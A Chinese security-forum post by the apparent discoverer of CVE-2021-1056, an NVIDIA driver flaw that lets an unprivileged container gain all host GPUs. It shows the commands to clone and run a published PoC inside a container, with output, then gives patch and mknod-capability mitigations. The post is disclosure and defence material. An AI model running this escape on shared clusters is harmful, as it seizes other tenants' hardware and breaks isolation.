首页
社区
课程
招聘
[原创]CVE-2021-1056 PoC 容器非法获取宿主机所有GPU
2021-1-13 15:16 4493

[原创]CVE-2021-1056 PoC 容器非法获取宿主机所有GPU

2021-1-13 15:16
4493

前言

CVE-2021-1056是我前一段时间提交给NVIDA PSIRT的一个存在于NVIDIA GPU驱动程序中与设备隔离相关的安全漏洞。

 

前几天NVIDIA已经发布了安全公告和补丁,所以在这里记录一下这个漏洞相关的验证和理解,漏洞利用代码和其他一些信息已经开源在GitHub
ack
利用这个漏洞,通过在容器中创建特殊的字符设备文件,一个非特权容器中的攻击者能够获取宿主机上所有GPU设备的权限。

 

我认为这个漏洞在多租户HPC集群,尤其是在深度学习云平台上,会带来显而易见的安全风险。

验证环境

  • Docker 19.03
  • nvidia-container-toolkit
  • NVIDIA Driver 418.87.01 / 450.51.05
  • NVIDIA GPU Tesla V100 / TITAN V / Tesla K80

这里我只在很少几个环境上进行了验证,但是按照NVIDIA发布的安全公告的描述来看,这个漏洞在GeForce,NVIDIA RTX/Quadro,NVS 和 Tesla系列所有GPU以及所有版本的驱动上都存在。

验证

首先clone一下利用代码

1
2
$ git clone https://github.com/pokerfaceSad/CVE-2021-1056.git
$ cd CVE-2021-1056

启动一个GPU容器并且把刚刚clone的代码挂载进去

1
$ docker run --gpus 1 -v $PWD:/CVE-2021-1056 -it tensorflow/tensorflow:1.13.2-gpu bash

在容器中检查一下GPU状态,发现只有一块GPU,正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
In Container# nvidia-smi
Sat Jan  9 07:21:03 2021      
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.05    Driver Version: 450.51.05    CUDA Version: 11.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla V100-PCIE...  Off  | 00000000:02:00.0 Off |                    0 |
| N/A   27C    P0    23W / 250W |      0MiB / 32510MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
 
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

在容器中执行漏洞利用脚本,在最后的nvidia-smi的输出中可以看到宿主机所有GPU在容器中都已经可见了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
In Container# bash /CVE-2021-1056/main.sh
[INFO] init GPU num: 1
[DEBUG] /dev/nvidia0 exists, skip
[DEBUG] successfully get /dev/nvidia1
[DEBUG] successfully get /dev/nvidia2
[DEBUG] successfully get /dev/nvidia3
[DEBUG] delete redundant /dev/nvidia4
[INFO] get extra 3 GPU devices from host
[INFO] current GPU num: 4
[INFO] exec nvidia-smi:
Sat Jan  9 07:22:43 2021      
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.05    Driver Version: 450.51.05    CUDA Version: 11.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla V100-PCIE...  Off  | 00000000:02:00.0 Off |                    0 |
| N/A   27C    P0    23W / 250W |      0MiB / 32510MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   1  Tesla V100-PCIE...  Off  | 00000000:03:00.0 Off |                    0 |
| N/A   30C    P0    25W / 250W |      0MiB / 32510MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   2  Tesla V100-PCIE...  Off  | 00000000:82:00.0 Off |                    0 |
| N/A   29C    P0    25W / 250W |      0MiB / 32510MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   3  Tesla V100-PCIE...  Off  | 00000000:83:00.0 Off |                    0 |
| N/A   28C    P0    25W / 250W |      0MiB / 32510MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
 
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

为了验证这些GPU确实是可用的,执行一个tensorflow的demo,可以看到所有的GPU确实可以被容器中的进程使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
In Container# nohup python /CVE-2021-1056/tf_distr_demo.py > log 2>&1 &
In Container$ nvidia-smi
Sat Jan  9 18:58:23 2021      
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.05    Driver Version: 450.51.05    CUDA Version: 11.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla V100-PCIE...  Off  | 00000000:02:00.0 Off |                    0 |
| N/A   32C    P0    36W / 250W 31117MiB / 32510MiB |      1%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   1  Tesla V100-PCIE...  Off  | 00000000:03:00.0 Off |                    0 |
| N/A   33C    P0    35W / 250W 31117MiB / 32510MiB |      1%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   2  Tesla V100-PCIE...  Off  | 00000000:82:00.0 Off |                    0 |
| N/A   33C    P0    36W / 250W 31117MiB / 32510MiB |      1%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   3  Tesla V100-PCIE...  Off  | 00000000:83:00.0 Off |                    0 |
| N/A   32C    P0    37W / 250W 31117MiB / 32510MiB |      1%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
 
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
+-----------------------------------------------------------------------------+

如何保护

推荐

  • 参考NVIDIA安全公告升级驱动

或者

  • 在启动Docker容器时,在docker run命令中添加--cap-drop MKNOD参数来禁止在容器中使用mknod
  • 在Kubernetes集群中启动Pod时启用security context

最后

我目前主要是在深度学习云平台相关的一些技术,并不是做安全方向的,所以上面对这个漏洞相关的理解可能比较片面。

 

这个漏洞实际上是在开发GPU Mounter的过程中发现的,GPU Mounter是一个支持对运行中Pod进行GPU热插拔的Kubernetes插件,也已经开源在GitHub

 

如果有兴趣欢迎交流,别忘了给个star :)

相关

英伟达安全公告 https://nvidia.custhelp.com/app/answers/detail/a_id/5142

 

Ubuntu安全公告 https://ubuntu.com/security/CVE-2021-1056

 

CVE收录信息 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1056

 

NVD收录信息 https://nvd.nist.gov/vuln/detail/CVE-2021-1056

 

CVE PoC https://github.com/pokerfaceSad/CVE-2021-1056

 

GPUMounter https://github.com/pokerfaceSad/GPUMounter


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2021-1-13 15:21 被XinYuan~编辑 ,原因: 修改格式
收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 12052
活跃值: (15379)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-1-13 16:07
2
0
感谢分享
雪    币: 26
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
XinYuan~ 2021-1-13 16:13
3
0
pureGavin 感谢分享
对安全方面了解不多,希望多学习(〃 ̄︶ ̄)人( ̄︶ ̄〃)
雪    币: 12052
活跃值: (15379)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-1-13 16:39
4
0
XinYuan~ 对安全方面了解不多,希望多学习(〃 ̄︶ ̄)人( ̄︶ ̄〃)
找了个0day,然后说对安全方面了解不多。。。有被冒犯到
雪    币: 26
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
XinYuan~ 2021-1-13 17:03
5
0
pureGavin 找了个0day,然后说对安全方面了解不多。。。有被冒犯到
真的不太了解。。。我主要是做容器和虚拟化这一块,安全真的不太懂,开始发现异常现象的时候都不知道要提交,直接去github提了个issue。。。
所以有些东西可能总结的不够专业,还请多指教啦
(这个也属于0day吗??)
游客
登录 | 注册 方可回帖
返回